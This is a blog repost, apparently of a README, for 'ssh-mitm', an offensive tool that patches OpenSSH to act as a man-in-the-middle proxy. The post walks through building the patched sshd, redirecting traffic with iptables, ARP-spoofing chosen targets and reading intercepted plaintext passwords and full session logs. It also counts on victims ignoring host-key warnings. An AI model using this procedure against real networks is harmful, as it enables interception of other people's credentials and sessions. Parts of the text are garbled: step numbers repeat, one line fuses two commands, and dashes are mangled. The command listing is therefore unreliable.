ssh-mitm: SSH man-in-the-middle tool – Penetration Testing in Linux


This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and a legitimate SSH server; all plaintext passwords and sessions are logged to disk.

Of course, the victim’s SSH client will complain that the server’s key has changed. Because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on.

NOTE: Only run the modified sshd in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities. Until the dependency on root privileges is removed, be sure to only run this code on throw-away VMs/containers.


1.) Install zlib and openssl headers:

sudo apt install zlib1g-dev libssl-dev

2.) Download OpenSSH v7.5p1 and verify its signature:

gpg –import RELEASE_KEY.asc
gpg –verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz

3.) Unpack the tarball, patch the sources, and compile it:

tar xzf openssh-7.5p1.tar.gz
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure –with-sandbox=no && make -j 10

4.) Create keys and setup environment:

sudo ssh-keygen -t ed25519 -f /usr/local/etc/ssh_host_ed25519_key < /dev/null
sudo ssh-keygen -t rsa -b 4096 -f /usr/local/etc/ssh_host_rsa_key /proc/sys/net/ipv4/ip_forward”
sudo iptables -P FORWARD ACCEPT

3.) Allow connections to sshd and re-route forwarded SSH connections:

sudo iptables -A INPUT -p tcp –dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-ports 22

4.) ARP spoof a target(s) (Protip: do NOT spoof all the things! Your puny network interface won’t like be able to handle an entire network’s traffic all at once. Only spoof a couple IPs at a time):

arpspoof -r -t 192.168.x.1 192.168.x.5

5.) Monitor auth.log. Intercepted passwords will appear here:

sudo tail -f /var/log/auth.log

6.) Once a session is established, a full log of all input & output can be found in /home/bogus/session_*.txt.

Source GitHub

The post ssh-mitm: SSH man-in-the-middle tool appeared first on Penetration Testing in Linux.


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